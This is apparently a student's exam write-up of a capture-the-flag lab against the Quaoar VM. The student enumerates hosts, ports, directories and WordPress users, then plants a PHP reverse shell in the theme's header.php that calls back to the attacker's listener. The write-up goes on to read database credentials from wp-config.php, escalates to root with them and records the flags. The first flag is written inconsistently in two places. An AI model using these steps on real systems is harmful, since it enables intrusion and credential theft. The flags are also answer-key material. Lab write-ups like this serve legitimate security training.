

Cyber security exam module 5

Task 1:

To find the ip address we use the command : **arp-scan -l**

```
(root@kali)-[/home/kali]
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:9c:c4:e3, IPv4: 192.168.20.155
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.20.7    72:92:6f:91:e3:56    (Unknown: locally administered)
192.168.20.14   6c:02:e0:80:ab:56    HP Inc.
192.168.20.16   36:7d:f0:f1:e7:bc    (Unknown: locally administered)
192.168.20.18   5c:ea:1d:91:00:21    Hon Hai Precision Ind. Co.,Ltd.
192.168.20.30   7c:70:db:0d:88:a1    Intel Corporate
192.168.20.32   58:8a:5a:46:c2:00    Dell Inc
```

Our desired ip address is

```
192.168.20.228  60:f6:77:6e:4b:14    Intel Corporate
192.168.20.231  fc:01:7c:02:3b:27    Hon Hai Precision Ind. Co.,Ltd.
192.168.20.232  a0:d3:7a:ef:65:c3    Intel Corporate
192.168.20.239  08:00:27:14:56:71    PCS Systemtechnik GmbH
192.168.20.236  18:47:3d:4c:e6:f7    CHONGQING FUGUI ELECTRONICS CO.,LTD.
192.168.20.237  b8:08:cf:e3:6a:0c    Intel Corporate
192.168.20.243  d4:1b:81:38:e6:e7    CHONGQING FUGUI ELECTRONICS CO.,LTD.
192.168.20.245  c0:3c:59:4a:3d:e6    Intel Corporate
192.168.20.252  a0:78:17:a6:76:69    Apple, Inc.
```

Task 2:

To discover the ports we use the command : **nmap 192.168.20.239**

```
(root@kali)-[/home/kali]
# nmap 192.168.20.239
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-21 04:22 EST
Nmap scan report for 192.168.20.239
Host is up (0.00025s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
110/tcp   open  pop3
139/tcp   open  netbios-ssn
143/tcp   open  imap
445/tcp   open  microsoft-ds
993/tcp   open  imaps
995/tcp   open  pop3s
MAC Address: 08:00:27:14:56:71 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
```

9 ports are discovered.

Task 3:

To find the interesting directory we use the following command : **gobuster dir -u 192.168.20.239 -w /usr/share/wordlists/dirb/common.txt**

```
(root@kali)-[/home/kali]
# gobuster dir -u 192.168.20.239 -w /usr/share/wordlists/dirb/common.txt

Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://192.168.20.239
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s

2022/12/21 04:48:41 Starting gobuster in directory enumeration mode

./httpasswd (Status: 403) [Size: 291]
./htaccess (Status: 403) [Size: 291]
./hta (Status: 403) [Size: 286]
/cgi-bin/ (Status: 403) [Size: 290]
/index (Status: 200) [Size: 100]
/index.html (Status: 200) [Size: 100]
/LICENSE (Status: 200) [Size: 1672]
/hacking (Status: 200) [Size: 616848]
/robots (Status: 200) [Size: 271]
/robots.txt (Status: 200) [Size: 271]
/server-status (Status: 403) [Size: 295]
/upload (Status: 301) [Size: 317] [→ http://192.168.20.239/upload/]
/wordpress (Status: 301) [Size: 320] [→ http://192.168.20.239/wordpress/]
Progress: 4614 / 4615 (99.98%)
```

Our desired Directory is : **wordpress**

Task 4:

To find the username we use the following command: **wpscan --url http://192.168.20.239 -e**

```
(root@kali)-[/home/kali]
# wpscan --url http://192.168.20.239/wordpress -e
The requested URL (/wp-content/plugins) was not found on this server

Apache/2.4.18 (Ubuntu) Server at 192.168.20.239 Port 80

WPScan

WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

[+] URL: http://192.168.20.239/wordpress/ [192.168.20.239]
[+] Started: Wed Dec 21 04:58:21 2022

Interesting Finding(s):

[+] Headers
| Interesting Entries:
```

We find the following information:

```
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
|   Rss Generator (Passive Detection)
|   Author Id Brute Forcing - Author Pattern (Aggressive Detection)
|   Login Error Messages (Aggressive Detection)

[+] wpuser
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
```

Task 5:

The reverse shell is uploaded to the header.php and modified.

```
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.20.155'; // CHANGE THIS
$port = 9001; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
```

Edit Themes

File edited successfully.

Twenty Fourteen: Header (header.php)

Task 6:

The reverse shell is updated to TTY shell

```
(root@kali)-[/home/kali]
# nc -nlvp 9001
listening on [any] 9001 ...
```

```
(root@kali)-[/home/kali]
# nc -nlvp 9001
listening on [any] 9001 ...
connect to [192.168.20.155] from (UNKNOWN) [192.168.20.239] 60811
Linux Quaoar 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux
 05:20:47 up 1:08, 0 users, load average: 0.04, 0.10, 0.15
USER      TTY      FROM          LOGIN@      IDLE        JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
/bin/sh: 1: python3: not found
$ whcih python3
/bin/sh: 2: whcih: not found
$ which python
/usr/bin/python
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@Quaoar:/$
```

Task 7:

The first flag is : **2bafe61f03117ac66a73c3c514de796e**


```

locate flag.txt
/home/wpadmin/flag.txt
www-data@Quaoar:/$ cd /home/wpadmin/flag.txt
cd /home/wpadmin/flag.txt
bash: cd: /home/wpadmin/flag.txt: Not a directory
www-data@Quaoar:/$ cd /home/wpadmin
cd /home/wpadmin
www-data@Quaoar:/home/wpadmin$ ls
ls
flag.txt
www-data@Quaoar:/home/wpadmin$ cat flag.txt
cat flag.txt
2baf61f03117ac66a73c3c514de796e
www-data@Quaoar:/home/wpadmin$

```

Task 8:

The root password is in a config file. We need to find the config file first.

```

www-data@Quaoar:/sbin$ locate wp-config
locate wp-config
/var/www/wordpress/wp-config-sample.php
/var/www/wordpress/wp-config.php
www-data@Quaoar:/sbin$ cd /var/www/wordpress
cd /var/www/wordpress
www-data@Quaoar:/var/www/wordpress$ cat wp-config.php
cat wp-config.php
<?php
/**
 * The base configurations of the WordPress.
 *
 * This file has the following configurations: MySQL settings, Ta

```

```

www-data@Quaoar:/var/www/wordpress$ locate wp-config
locate wp-config
/var/www/wordpress/wp-config-sample.php
/var/www/wordpress/wp-config.php
www-data@Quaoar:/var/www/wordpress$ cat wp-config.php | grep root
cat wp-config.php | grep root
define('DB_USER', 'root');
define('DB_PASSWORD', 'rootpassword!');
www-data@Quaoar:/var/www/wordpress$

```

Task 9:

By providing the password: **rootpassword!** ; we get the root access.

```
www-data@Quaoar:/var/www/wordpress$ su
su
Password: rootpassword!
root@Quaoar:/var/www/wordpress#
```

We go to the /root directory we get the flag.txt . The flag is :
8e3f9ec016e3598c5eec11fd3d73f6fb

```
root@Quaoar:/var/www/wordpress# cd /root
cd /root
root@Quaoar:~# ls
ls
flag.txt  vmware-tools-distrib
root@Quaoar:~# cat flag.txt
cat flag.txt
8e3f9ec016e3598c5eec11fd3d73f6fb
root@Quaoar:~#
```